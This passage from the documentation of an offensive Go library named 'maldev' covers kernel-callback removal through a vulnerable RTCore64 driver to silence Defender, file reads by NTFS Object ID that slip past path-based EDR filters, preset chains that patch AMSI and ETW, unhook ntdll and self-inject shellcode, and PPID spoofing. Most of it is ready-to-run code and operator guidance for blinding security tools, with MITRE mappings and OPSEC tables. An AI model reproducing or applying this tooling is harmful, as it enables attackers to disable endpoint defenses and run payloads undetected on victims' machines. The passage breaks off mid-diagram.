    tok, err := kcallback.Remove(cb, &d)
    if err != nil {
        log.Printf("remove %v[%d]: %v", cb.Kind, cb.Index, err)
        continue
    }
    tokens = append(tokens, tok)
}
defer func() {
    for _, tok := range tokens {
        _ = kcallback.Restore(tok, &d)
    }
}()

// ... payload runs while the Defender callbacks are silenced ...

Advanced — chain into self-injection

Composing kcallback with inject and evasion/preset so the disabled-callback window covers the noisiest part of the chain:

// 1. BYOVD up.
var d rtcore64.Driver
_ = d.Install()
defer d.Uninstall()

// 2. Apply the in-process Stealth preset (AMSI / ETW / unhook).
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
_ = preset.Stealth().ApplyAll(caller)

// 3. Zero Defender callbacks.
cbs, _ := kcallback.Enumerate(&d, tab)
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
    if cb.Module != "WdFilter.sys" {
        continue
    }
    if tok, err := kcallback.Remove(cb, &d); err == nil {
        tokens = append(tokens, tok)
    }
}
defer func() {
    for _, tok := range tokens {
        _ = kcallback.Restore(tok, &d)
    }
}()

// 4. Self-inject.
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)

OPSEC & Detection

VectorVisibilityMitigation
BYOVD driver install (NtLoadDriver + SCM)very-noisy — every vendor watchesaccept; this is the price of any kernel R/W primitive
NtQSI(SystemModuleInformation) from low-ILmedium-IL gate; flagged in some pre-injection patternsrun from an already-elevated context
Slot write itselfinvisible at user-mode; visible to defender drivers that snapshot the arrayreduce window: zero → run payload → restore fast
Race between read and write~µs window; rarely observableuse RTCore64 (fast IOCTL) over slower drivers
Module name in Callback.Modulestatic reveal of EDR driver presenceinformational; use to decide whether to engage

D3FEND counters: D3-DLIC (Driver Load Integrity Checking) on the BYOVD load path, D3-AIPA (Application Integrity Analysis) on post-disable EDR sensors that re-snapshot their own callbacks.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolskernel-callback array zeroD3-AIPA
T1014Rootkitkernel-mode accessD3-DLIC
T1543.003Create or Modify System Process: Windows ServiceBYOVD service installD3-SBV

Limitations

  • User-mode read is impossible. NullKernelReader (the default injection target) always returns ErrNoKernelReader. A real enumeration needs a driver primitive.
  • Offsets shift frequently. Pin your offset table to specific build numbers; always fall back to ErrOffsetUnknown when the current build isn't mapped. The package intentionally ships no built-in database.
  • The Enabled bit is approximate. The low bit of a PEX_CALLBACK slot isn't universally "enabled" — in some Windows builds it's part of the reference count. Trust the Address field as the primary signal; treat Enabled as a hint.
  • No removal-helper-by-module. A RemoveByModule(name, writer) convenience is on the backlog; today operators iterate the Enumerate result and check cb.Module themselves.
  • HVCI / vulnerable-driver block list. RTCore64 is refused on HVCI-on Win10/11 ≥ 2021-09 — pick a different BYOVD or accept the gate. kcallback is driver-agnostic; any reader satisfying KernelReader works.

See also

StealthOpen — NTFS Object ID File Access

<- Back to Evasion

MITRE ATT&CK: T1036 - Masquerading Package: evasion/stealthopen Platform: Windows (NTFS only) Detection: Low


TL;DR

You want to read a file (LSASS dump, NTDS.dit, decoy config) without any defender's path-keyed filter noticing. Sysmon FileCreate rules, EDR minifilters, AV path matchers — they all key on "what path did this process open?" If you open the file by its 128-bit NTFS Object ID instead of its path, those rules have nothing to match on.

The flow is two phases:

PhaseWhat you doWhen
StampGetObjectID(path) reads or assigns the file's Object ID. SetObjectID(path, guid) installs a caller-chosen GUID.Once. On the build host, or by a stager process willing to touch the path one time.
Open path-freeOpenByID(volume, guid) opens the file via the volume root, no path.Every subsequent access.

What this DOES achieve:

  • Path-keyed Sysmon / EDR / AV filters don't trigger — the open request the kernel sees has no path string.
  • Pre-shared GUID lets a stager and second-stage agree on a file without either side carrying its path as a string.

What this does NOT achieve:

  • Minifilters that resolve back to a path still see the real file (FltGetFileNameInformation answers based on the resolved FILE_OBJECT, not the open request). Mature EDRs do this — defeat name-keyed filters, not signed-callback data.
  • NTFS only — no FAT, no exFAT, no ReFS without Object ID support. Most user data lives on NTFS, but USB drives and network shares are a coin flip.
  • The stamp is persistent — the Object ID lives in the MFT until the file is deleted. Defenders running fsutil objectid query <path> see the GUID. If you want truly invisible, use a freshly-stamped file you control.

Primer — vocabulary

Five terms recur on this page:

NTFS Object ID — a 128-bit GUID NTFS optionally attaches to a file via the $OBJECT_ID MFT attribute. Either lazily assigned by FSCTL_CREATE_OR_GET_OBJECT_ID (random GUID) or caller-chosen via FSCTL_SET_OBJECT_ID. The file is then reachable by GUID alone, no path needed.

MFT (Master File Table) — NTFS's central index. Every file has one MFT record holding its metadata (timestamps, attributes, data runs). Object IDs live as one of those attributes.

FSCTL (File System Control) — a control code passed via DeviceIoControl to talk directly to a filesystem driver. FSCTL_CREATE_OR_GET_OBJECT_ID and FSCTL_SET_OBJECT_ID are the two this technique uses.

OpenFileById — Win32 API that opens a file by FILE_ID (16 bytes for Object ID type, 8 bytes for FRN type). Takes a volume handle + the ID — no path argument exists in the call signature, so no path string can be logged.

Minifilter — a kernel-mode filter driver (Sysmon's SysmonDrv, EDR agents) that intercepts IRP_MJ_CREATE and friends. Some key on the path field of the IRP (defeated here); some resolve FILE_OBJECT back to a path after the open succeeds (still see you).


How It Works

sequenceDiagram
    participant Code as "stealthopen"
    participant Vol as "Volume handle"
    participant NTFS as "NTFS driver"
    participant MFT as "$OBJECT_ID attr"

    Note over Code: Phase 1 — stamp the target
    Code->>Vol: CreateFile("C:\\sensitive.bin")
    Code->>NTFS: FSCTL_CREATE_OR_GET_OBJECT_ID
    NTFS->>MFT: Write 128-bit GUID
    NTFS-->>Code: 16-byte Object ID

    Note over Code: Phase 2 — reopen without the path
    Code->>Vol: CreateFile("C:\\") root handle
    Code->>NTFS: OpenFileById(ObjectIdType, GUID)
    NTFS->>MFT: Look up GUID → file record
    NTFS-->>Code: *os.File (path-free open)

Key points:

  • FSCTL_CREATE_OR_GET_OBJECT_ID lazily assigns an Object ID if the file has none; FSCTL_SET_OBJECT_ID installs a caller-chosen GUID (useful for pre-shared identifiers between implant and operator).
  • OpenFileById with FILE_ID_TYPE = ObjectIdType requires a volume handle, not a path — the kernel dispatches straight to the MFT.
  • Minifilters that resolve FILE_OBJECT back to a path via FltGetFileNameInformation do still see the real file — this technique defeats name-keyed filters, not every defensive mechanism.

Usage

import "github.com/oioio-space/maldev/evasion/stealthopen"

// One-time: stamp the sensitive file so we can recall its GUID later.
id, err := stealthopen.GetObjectID(`C:\sensitive.bin`)
if err != nil {
    log.Fatal(err)
}

// Later — without ever mentioning the path:
f, err := stealthopen.OpenByID(`C:\`, id)
if err != nil {
    log.Fatal(err)
}
defer f.Close()

io.Copy(os.Stdout, f)

Installing a known GUID (pre-shared between stager and second stage):

well := [16]byte{0xDE, 0xAD, 0xBE, 0xEF, /* ... */}
_ = stealthopen.SetObjectID(`C:\ProgramData\tmp.cfg`, well)

// Second stage knows the GUID by constant — no path string on either side.
f, _ := stealthopen.OpenByID(`C:\`, well)

Combined Example

Drop an encrypted payload, stamp it with a fixed Object ID, then delete all path traces from the implant so a later call opens the same bytes without any filename string ever appearing in the implant image or in the kernel open request.

package main

import (
    "io"
    "os"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion/stealthopen"
)

// Baked-in GUID — the only reference the second stage needs.
var payloadID = [16]byte{
    0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
    0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00,
}

func drop(key, plaintext []byte) error {
    const tmp = `C:\ProgramData\Intel\update.bin`
    blob, _ := crypto.EncryptAESGCM(key, plaintext)
    if err := os.WriteFile(tmp, blob, 0o644); err != nil {
        return err
    }
    return stealthopen.SetObjectID(tmp, payloadID)
}

func reopen(key []byte) ([]byte, error) {
    f, err := stealthopen.OpenByID(`C:\`, payloadID)
    if err != nil {
        return nil, err
    }
    defer f.Close()
    blob, err := io.ReadAll(f) // read via the path-free handle
    if err != nil {
        return nil, err
    }
    return crypto.DecryptAESGCM(key, blob)
}

The implant binary never contains the string update.bin nor a hard-coded path — only the 16-byte GUID. Any EDR matching on *.bin under C:\ProgramData misses the reopen.


Composing with Other Packages — the Opener Pattern

Reading a sensitive file directly (low-level OpenByID call) is fine for one-off access. For the packages inside maldev that themselves open sensitive files (unhook reading ntdll, phantomdll reading System32 DLLs, herpaderping reading the payload), stealthopen exposes an Opener abstraction that mirrors how *wsyscall.Caller is passed through the code: an optional, nil-safe handle that consuming packages accept as a plain parameter.

type Opener interface {
    Open(path string) (*os.File, error)
}

// Standard: plain os.Open. Default when the caller passes nil.
type Standard struct{}

// MultiStealth (recommended default): per-path lazy ObjectID capture
// + cache. The path-based hook fires once per unique path; every
// subsequent open of the same path routes through OpenByID. Zero
// value works.
type MultiStealth struct{ /* unexported cache + mutex */ }

// Stealth: pre-bound to one file, captured at construction. Use when
// you know the target up front and want zero per-call overhead — Open
// ignores its path argument.
type Stealth struct {
    VolumePath string
    ObjectID   [16]byte
}

// NewStealth derives both fields from a real path in one call.
func NewStealth(path string) (*Stealth, error)

// Use normalizes the nil case to Standard.
func Use(opener Opener) Opener

When to pick which

SituationPick
You don't know which files the consumer opens&MultiStealth{}
You know the single target file and want zero overheadNewStealth(path)
You want plain path-based opens (the default)nil (or &Standard{})
import (
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/evasion/unhook"
)

// Zero-config: any file the consumer opens is captured + cached
// transparently. The first open of each unique path pays one
// path-based hook event; every subsequent open of the same path
// routes through OpenByID and never re-touches the hook.
opener := &stealthopen.MultiStealth{}

_ = unhook.ClassicUnhook("NtCreateSection", caller, opener)
_ = unhook.FullUnhook(caller, opener)
// You don't have to know that unhook reads ntdll.dll repeatedly.

The pattern in practice — pre-bound (Stealth)

sysDir, _ := windows.GetSystemDirectory()
ntdllPath := filepath.Join(sysDir, "ntdll.dll")

// One-time: capture ntdll's Object ID + volume root.
stealth, err := stealthopen.NewStealth(ntdllPath)
if err != nil { /* non-NTFS, or no ObjectID — fall back to nil */ }

// Same wiring; this variant skips the per-call cache lookup.
_ = unhook.ClassicUnhook("NtCreateSection", caller, stealth)
_ = unhook.FullUnhook(caller, stealth)

Where it's wired today

ConsumerFunction / Config fieldWhat gets stealth-opened
evasion/unhook.ClassicUnhook3rd argSystem32\ntdll.dll
evasion/unhook.FullUnhook2nd argSystem32\ntdll.dll
inject.PhantomDLLInject4th argSystem32\<dllName> (read and the HANDLE passed to NtCreateSection)
process/tamper/herpaderping.Config.Openerstruct fieldPayloadPath + DecoyPath

All four treat nil as "use the existing path-based open" — no behavior change for existing callers. Tests in evasion/stealthopen/opener_test.go, evasion/stealthopen/opener_windows_test.go, evasion/unhook/opener_windows_test.go, inject/phantomdll_opener_test.go, and process/tamper/herpaderping/opener_windows_test.go pin the contract (spy-opener call-counting + real end-to-end round-trip through OpenFileById).

Limitations to remember

  • NTFS only. ReFS / FAT32 / UNC shares without NTFS expose no Object ID. Detect by checking NewStealth's error.
  • Object ID must preexist on the target file. System32 DLLs generally do have one; fresh payloads may need GetObjectID (creates on demand, often works without admin) or SetObjectID (admin, lets you pin a fixed GUID).
  • Volume root required. VolumeFromPath extracts it from drive-letter, Win32-prefixed, and UNC paths — but a \\?\Volume{GUID}\ root needs GetVolumePathName under the hood; the helper does that for you.
  • Not a magic bullet. Minifilters that resolve the final FILE_OBJECT to a path after the open still see the real path. This beats name-keyed pre-open filters, not every defensive mechanism.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/stealthopen is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Preset — Ready-to-Use Evasion Combinations

<- Back to Evasion

Package: evasion/preset Platform: Windows only Detection: Varies by preset (Low for Minimal, Medium for Stealth, High for Aggressive)

Preset bundles the most common evasion techniques into four opinionated configurations keyed on risk tolerance. Each preset returns []evasion.Technique for use with evasion.ApplyAll().


TL;DR

You're about to do something noisy (load shellcode, run a script, inject into another process). Defenders watch for that activity through AMSI, ETW, userland API hooks, and process mitigation policies. Presets bundle pre-composed evasion stacks so you don't have to compose them yourself.

Pick the right preset based on what you're staging:

You're running…UseWhat it disablesReversibleWhen to pick
A dropper / stager / first-stageMinimal()AMSI + ETWYes (process restart)Smallest footprint. No disk reads, no process changes — just three memory writes.
Post-ex tooling that needs to injectStealth()Minimal + classic unhook of 10 NTAPI functionsYesSweet spot for most injectors. Handles the EDR userland-hook layer.
Modern Win11 24H2+ with CET enforcementHardened()Stealth + CET opt-outYesSame as Stealth but APC-delivered shellcode survives ENDBR64 enforcement.
Long-dwell implant where stealth > flexibilityAggressive()Hardened + ACG + BlockDLLsNo (process-wide, irreversible)After all RWX allocation + injection is done. ACG forbids future RWX writes; BlockDLLs forbids unsigned DLL loads.

Aggressive is irreversible at the process level: ACG and BlockDLLs are mitigation policies the kernel enforces process-wide until the process exits. Apply LAST in your chain — anything needing RWX afterwards will fail.

One preset per process: presets stack functionally (StealthMinimal), but applying two of them double-patches AMSI/ETW (idempotent — second patch is a no-op write of the same bytes, but wastes integrity-check budget if EDR re-hashes).

Standalone helper: CETOptOut() returns a single Technique callers can pull into a custom stack without committing to a full preset. No-op when CET isn't enforced.


Primer — vocabulary

Five terms recur on this page:

Technique — a value satisfying evasion.Technique interface (Apply(caller) error). Presets return slices of these; evasion.ApplyAll runs them in order and collects per-Technique failures into a map.

AMSI (Anti-Malware Scan Interface) — Microsoft's hook point inside script hosts (PowerShell, JScript, VBScript) and the .NET runtime. Asks the registered AV provider "is this string / buffer / assembly malicious?" before execution. Patching AmsiScanBuffer to return clean blinds it.

ETW (Event Tracing for Windows) — kernel telemetry framework. The Microsoft-Windows-Threat-Intelligence provider in particular flags suspicious memory operations. Patching EtwEventWrite* + NtTraceEvent silences events from this process.

Userland hook — an inline patch (typically JMP rel32) an EDR installs at the start of an NTAPI function so it can inspect arguments before the syscall fires. Classic unhooking restores the original prologue bytes from a fresh ntdll image on disk.

CET (Control-flow Enforcement Technology) — Intel hardware feature Microsoft enforces on Win11 24H2+ pool dispatchers. Requires every indirect-jump target (including APC-delivered shellcode) to start with an ENDBR64 instruction. CETOptOut opts the process out so APC-delivered shellcode doesn't need the prefix. Most current shellcode generators don't emit ENDBR64.

ACG (Arbitrary Code Guard) / BlockDLLs — process mitigation policies. ACG forbids new RWX allocations + RX writes after enable. BlockDLLs forbids loading unsigned DLLs. Both irreversible — applied LAST in Aggressive for that reason.


How It Works

A preset is just a function returning []evasion.Technique. evasion.ApplyAll iterates the slice and invokes each technique's Apply() in order, collecting per-technique failures into a map. Nothing magic: the value is curation, not new code.

flowchart LR
    A[preset.Stealth] --> B["[]evasion.Technique<br>amsi + etw + 10x unhook"]
    B --> C["evasion.ApplyAll(slice, caller)"]
    C --> D{"each .Apply()"}
    D --> E[AMSI patched]
    D --> F[ETW silenced]
    D --> G[ntdll prologues restored]
    D --> H["errors map[name]error"]
  • preset.Minimal() — AMSI + ETW only. No disk reads, no mitigation policies.
  • preset.Stealth() — Minimal + classic unhook of the 10 functions in unhook.CommonHookedFunctions.
  • preset.Hardened() — full AMSI + full ETW + full ntdll unhook + CET opt-out. CET-aware sweet spot: APC-delivered shellcode survives Win11 24H2+ ENDBR64 enforcement without losing the ability to inject afterwards.
  • preset.Aggressive() — Hardened + ACG + BlockDLLs. Irreversible.

preset.CETOptOut() — standalone Technique callers can pull into a custom stack. No-op when CET is not enforced.

Order matters for Aggressive — ACG and BlockDLLs permanently restrict the process, so all RWX allocation and injection must be done before applying it.


Minimal

Risk: Low
Use case: Droppers, stagers, initial-access payloads where staying off radar matters more than bypassing advanced EDR hooks.

Included techniques

TechniquePackageWhat it does
amsi.ScanBufferPatch()evasion/amsiOverwrites AmsiScanBuffer entry with xor eax,eax; ret — all AMSI scans return clean
etw.All()evasion/etwPatches all EtwEventWrite* functions and NtTraceEvent with xor rax,rax; ret — ETW events are silently dropped

Rationale

AMSI and ETW are the two highest-signal telemetry paths for script/reflective loaders. Patching only these two functions has the smallest footprint: no disk reads of ntdll, no process spawning, no mitigation policy changes. The patch surface is three small memory writes. Suitable whenever the primary concern is bypassing in-memory script scanning rather than defeating userland hooks on injection primitives.


Stealth

Risk: Medium
Use case: Post-exploitation tooling, injectors, and loaders that need to perform process injection without inline hook interference from EDR agents.

Included techniques

Stealth is a superset of Minimal — all Minimal techniques apply, plus:

TechniquePackageWhat it does
amsi.ScanBufferPatch()evasion/amsi(from Minimal) AMSI bypass
etw.All()evasion/etw(from Minimal) ETW silence
unhook.Classic("NtAllocateVirtualMemory")evasion/unhookRestores first 5 bytes of syscall stub from on-disk ntdll
unhook.Classic("NtWriteVirtualMemory")evasion/unhookSame for write primitive
unhook.Classic("NtProtectVirtualMemory")evasion/unhookSame for protect primitive
unhook.Classic("NtCreateThreadEx")evasion/unhookSame for thread creation
unhook.Classic("NtMapViewOfSection")evasion/unhookSame for section mapping
unhook.Classic("NtQueueApcThread")evasion/unhookSame for APC-based injection
unhook.Classic("NtSetContextThread")evasion/unhookSame for thread hijacking
unhook.Classic("NtResumeThread")evasion/unhookSame for thread resume
unhook.Classic("NtCreateSection")evasion/unhookSame for section creation
unhook.Classic("NtOpenProcess")evasion/unhookSame for process opening

All 10 functions come from unhook.CommonHookedFunctions via unhook.CommonClassic().

Rationale

EDR/AV products hook the 10 functions in CommonHookedFunctions because they are the core primitives for process injection and shellcode execution. Classic unhooking reads the original prologue bytes from the clean on-disk ntdll.dll and writes them back — no process spawning, just targeted 5-byte patches. This is surgical: only restore what is likely hooked, minimise the number of memory writes, and avoid the large-region writes of FullUnhook that are easier to detect via integrity checks. The combination of AMSI+ETW silence plus unhooking gives adequate coverage for most injection scenarios without the irreversible side effects of Aggressive.


Aggressive

Risk: High
Use case: Red team finals, assumed-breach scenarios, long-dwell implants where maximum evasion is worth trading away compatibility and reversibility.

CRITICAL: ACG is irreversible. acg.Guard() calls SetProcessMitigationPolicy(ProhibitDynamicCode=1). After this call, VirtualAlloc(PAGE_EXECUTE_*) and related calls fail for the remainder of the process lifetime. You MUST complete all shellcode injection and RWX memory allocation BEFORE calling preset.Aggressive(). Applying it beforehand will break your own injection code.

Included techniques

TechniquePackageWhat it does
amsi.All()evasion/amsiPatches both AmsiScanBuffer and AmsiOpenSession — full AMSI neutralisation
etw.All()evasion/etwPatches all EtwEventWrite* and NtTraceEvent
unhook.Full()evasion/unhookReplaces the entire ntdll .text section from the on-disk copy — removes every inline hook in one operation
acg.Guard()evasion/acgEnables Arbitrary Code Guard — blocks EDR from injecting executable code into this process (irreversible)
blockdlls.MicrosoftOnly()evasion/blockdllsBlocks loading of non-Microsoft-signed DLLs — prevents EDR agent DLLs from being injected (irreversible)

Rationale

Aggressive trades reversibility for depth. amsi.All() patches both AMSI entry points rather than just ScanBuffer, closing the bypass gap around session-level checks. unhook.Full() replaces the entire .text section rather than patching individual functions — guaranteed to remove every hook, at the cost of a larger and more conspicuous memory write. ACG and BlockDLLs are process mitigation policies that harden the process against EDR counter-injection; because they are kernel-enforced and irreversible, they provide the strongest possible protection but must be the last step. This combination is appropriate when the mission is high-value and the dwell time is long enough that EDR will attempt active response.


Usage Examples

Quick start — apply a preset at startup

The shortest "blind the EDR before doing anything risky" pattern. Pick a preset, hand it to evasion.ApplyAll, log per-technique failures (the map is empty when everything succeeds).

For the simpler "I only want one error to return" shape use evasion.ApplyAllAggregated instead — same call, but the per-technique map is folded into a single sorted-by-name error chain with an N/M failed prefix.

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

func main() {
    // Apply Stealth (= AMSI + ETW + 10x classic ntdll unhook).
    // Each technique runs in order; failures don't abort the
    // chain — they're collected per name in the returned map.
    errs := evasion.ApplyAll(preset.Stealth(), nil)
    for name, err := range errs {
        log.Printf("technique %q failed: %v (continuing)", name, err)
    }

    // ... your injector / loader runs here, with AMSI silent,
    //     ETW dropping events, and ntdll prologues clean.
}

What just happened, in order:

  1. amsi.ScanBufferPatch() overwrote the entry of AmsiScanBuffer with xor eax, eax; ret → every AMSI scan from this process now returns "clean".
  2. etw.All() did the same to EtwEventWrite* and NtTraceEvent → ETW providers receive no events from us.
  3. unhook.CommonClassic() ran 10 small reads of the on-disk ntdll.dll to get clean prologue bytes for the typical EDR-hooked syscalls (NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, …) and patched the in-memory copies back to those bytes.

What this DOES NOT do:

  • Hide the process. Process Hacker / Task Manager still see you. Combine with pe/masquerade for that.
  • Defeat kernel-level callbacks. EDR drivers like PsSetCreateProcessNotify see your process spawn regardless of userland patches. Layer with evasion/kernel-callback-removal if you have admin and a BYOVD path.
  • Survive process restart. AMSI/ETW patches are per-process — every new process you spawn needs its own preset application.

For the irreversible "hardened" stack (ACG + BlockDLLs on top), see Aggressive below — apply it LAST after all RWX work is done, or your subsequent injection calls will fail.

Basic usage (one-liner)

errs := evasion.ApplyAll(preset.Stealth(), nil)

ApplyAllAggregated

func ApplyAllAggregated(techs []Technique, caller Caller) error

Companion to ApplyAll that folds the map[string]error of per-technique failures into a single error whose .Error() text lists every failing technique alphabetically, prefixed with an N/M techniques failed counter. Returns nil when every technique succeeded. Use this when the caller only wants a yes/no signal + a single value to log or wrap.

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

func main() {
    if err := evasion.ApplyAllAggregated(preset.Aggressive(), nil); err != nil {
        log.Printf("evasion: %v", err)
        // continue anyway — defense in depth, not a hard prereq.
    }
}

End-to-end consumer: examples/privesc-dll-hijack/amsi_windows.go::patchAMSI collapses a 14-line ApplyAll + sort + fmt.Errorf block into the one-liner above.

Hardened — Win11 24H2+ with CET shadow stacks

Sweet spot when the host enforces CET: AMSI + ETW + full ntdll unhook + CET opt-out, no irreversible per-process mitigations (ACG, BlockDLLs) so the implant can still inject after the preset runs.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirectAsm, wsyscall.NewHashGate())
    defer caller.Close()
    errs := evasion.ApplyAll(preset.Hardened(), caller)
    _ = errs
}

CETOptOut standalone — pluck the technique into a custom stack

stack := []evasion.Technique{
    amsi.ScanBufferPatch(),
    etw.All(),
    preset.CETOptOut(), // no-op when cet.Enforced() == false
    sleepmask.NewLocalForCurrentImage(),
}
_ = evasion.ApplyAll(stack, caller)

With indirect syscalls (Caller)

import (
    "log"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
    errs := evasion.ApplyAll(preset.Stealth(), caller)
    for name, e := range errs {
        log.Printf("%s: %v", name, e)
    }
}

Aggressive preset — inject first, harden after

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

func run(shellcode []byte) error {
    // Step 1: apply Stealth first so injection primitives are unhooked
    evasion.ApplyAll(preset.Stealth(), nil)

    // Step 2: do all injection / RWX allocation here
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        return err
    }

    // Step 3: NOW apply Aggressive — ACG and BlockDLLs lock down the process
    // No further RWX allocation is possible after this point
    evasion.ApplyAll(preset.Aggressive(), nil)
    return nil
}

Custom combination

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/unhook"
)

// Custom: AMSI + ETW + only the functions we actually call
techniques := []evasion.Technique{
    amsi.ScanBufferPatch(),
    etw.All(),
    unhook.Classic("NtAllocateVirtualMemory"),
    unhook.Classic("NtCreateThreadEx"),
}
evasion.ApplyAll(techniques, nil)

Decision Matrix

ScenarioPresetRationale
Script dropper, no injectionMinimalAMSI+ETW is all that matters for script scanning
Reflective loader executing shellcodeStealthNeeds unhooked NtAllocateVirtualMemory + NtCreateThreadEx
Process injection via APCStealthNeeds NtQueueApcThread unhooked
Thread hijackingStealthNeeds NtSetContextThread + NtResumeThread unhooked
Long-dwell implant, post-injectionAggressiveACG+BlockDLLs harden against EDR counter-injection
Red team final objective, assumed-breachAggressiveMaximum evasion depth warranted
EDR with heavy hook coverage suspectedAggressive (Full unhook)Full .text replacement vs. targeted 5-byte patches
Constrained environment, compatibility requiredMinimalNo disk reads, no irreversible changes
Custom: known hook setManual compositionBuild from individual techniques for minimal footprint

Combined Example

Apply preset.Stealth() to unhook injection primitives, detonate a shellcode payload, then lock the process down with preset.Aggressive() so an EDR agent cannot counter-inject a monitoring DLL afterwards.

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func run(shellcode []byte) error {
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
    defer caller.Close()

    // 1. Stealth first — AMSI/ETW silenced + Nt* prologues restored.
    //    The unhook pass uses indirect syscalls via `caller`, so the
    //    restore itself does not touch hooked NtProtectVirtualMemory.
    if errs := evasion.ApplyAll(preset.Stealth(), caller); len(errs) > 0 {
        for name, err := range errs {
            log.Printf("stealth: %s: %v", name, err)
        }
    }

    // 2. Inject while RWX allocation is still legal.
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        return err
    }

    // 3. Aggressive last — ACG + BlockDLLs lock the process.
    //    No further VirtualAlloc(PAGE_EXECUTE_*) possible after this.
    evasion.ApplyAll(preset.Aggressive(), caller)
    return nil
}

Layered benefit: Stealth removes the EDR's ability to observe the injection (hooks gone, AMSI silent, ETW off), and Aggressive removes its ability to react afterwards (ACG blocks code injection, BlockDLLs blocks its module load) — the two presets cover detection and remediation without overlapping.


API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/preset is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

PPID Spoofing

MITRE ATT&CK: T1134.004 -- Access Token Manipulation: Parent PID Spoofing | Detection: Medium -- Process tree anomalies are detectable but require behavioral analysis

TL;DR

When you spawn a child process, Windows records WHO spawned it (ParentProcessId field). EDRs use this for detection: cmd.exe spawned by explorer.exe looks normal; cmd.exe spawned by excel.exe triggers a macro-attack alert.

PPID spoofing lies about the parent. The child appears in Process Hacker / Sysmon / EDR telemetry as if a chosen "benign" process spawned it.

You want…UseCost
Spoof PPID using the Go-1.24+ syscall.SysProcAttr.ParentProcess fieldshell.NewPPIDSpoofer + FindTargetProcess + SysProcAttrOne OpenProcess(PROCESS_CREATE_PROCESS) call to the target parent
Use a specific parent PID (you already have one in mind)spoofer.SetTargetPID(pid) then proceed as aboveSame cost

What this DOES achieve:

  • Process tree shown in Process Hacker / Sysmon EID 1 / Get-Process tree all show the spoofed parent.
  • Pattern-matching detections (excel.exe → cmd.exe, winword.exe → powershell.exe) miss your child entirely.
  • Token, working directory, environment all unaffected — the child runs as YOUR user, not the spoofed parent's user. The lie is purely cosmetic on the parent field.

What this does NOT achieve:

  • Doesn't elevate — your OpenProcess to the spoofed parent must succeed. You can only spoof to parents you can open with PROCESS_CREATE_PROCESS. Same-integrity targets (other Medium IL processes) work; SYSTEM targets need SeDebugPrivilege.
  • Doesn't fool stack walking — EDRs that walk the calling thread's stack on NtCreateUserProcess see YOUR process doing the spawn. Pair with evasion/callstack-spoof for that.
  • Doesn't fool ETW Provider Microsoft-Windows-Kernel-Process — this provider logs the actual creator (the process that called NtCreateUserProcess), not the recorded parent. EDRs subscribed to it cross-check.
  • Doesn't survive deep telemetry — Sysmon's ParentProcessGuid field can be cross-referenced; sophisticated detection notices when the spoofed-parent's known children profile doesn't match.

Primer — vocabulary

Five terms recur on this page:

PPID (Parent Process ID) — the PID stored in a child process's EPROCESS.InheritedFromUniqueProcessId field. Set by the kernel from PROC_THREAD_ATTRIBUTE_PARENT_PROCESS at process-create time, OR (default) from the calling process's PID.

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS — the Win32 STARTUPINFOEX.lpAttributeList slot that overrides PPID for a CreateProcess call. Legitimate API — Microsoft uses it for service hosting. The presence of this attribute is NOT itself suspicious.

PROCESS_CREATE_PROCESS access right — the minimum handle right needed on the spoofed parent. Less than PROCESS_ALL_ACCESS (so the OpenProcess audit signal is weaker). Most user-mode processes grant this to the same user.

Process tree — the hierarchical view Process Hacker / Process Explorer / Sysmon EID 1 reconstruct from PPIDs. Spoofing rewrites where your child appears in this view.

SysProcAttr.ParentProcess — Go 1.24+ field on syscall.SysProcAttr that handles all the PROC_THREAD_ATTRIBUTE_LIST plumbing. Pre-1.24 you had to roll the attribute list manually.

Primer

When a process creates a child process on Windows, the child inherits its parent's identity in the process tree. Security tools use this parent-child relationship as a key detection signal. For example, if cmd.exe is spawned by explorer.exe, that looks normal -- the user opened a command prompt. But if cmd.exe is spawned by excel.exe, that is highly suspicious and likely indicates a macro-based attack.

PPID spoofing breaks this detection by lying about the parent. When creating a child process, we use the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to specify a different parent process handle. The child process appears in the process tree as if it was spawned by the chosen parent (e.g., explorer.exe or svchost.exe), even though our process actually created it.

This is a legitimate Windows API feature -- Go 1.24+ even added native support via syscall.SysProcAttr.ParentProcess.

How It Works

sequenceDiagram
    participant Attacker as "Attacker (malware.exe)"
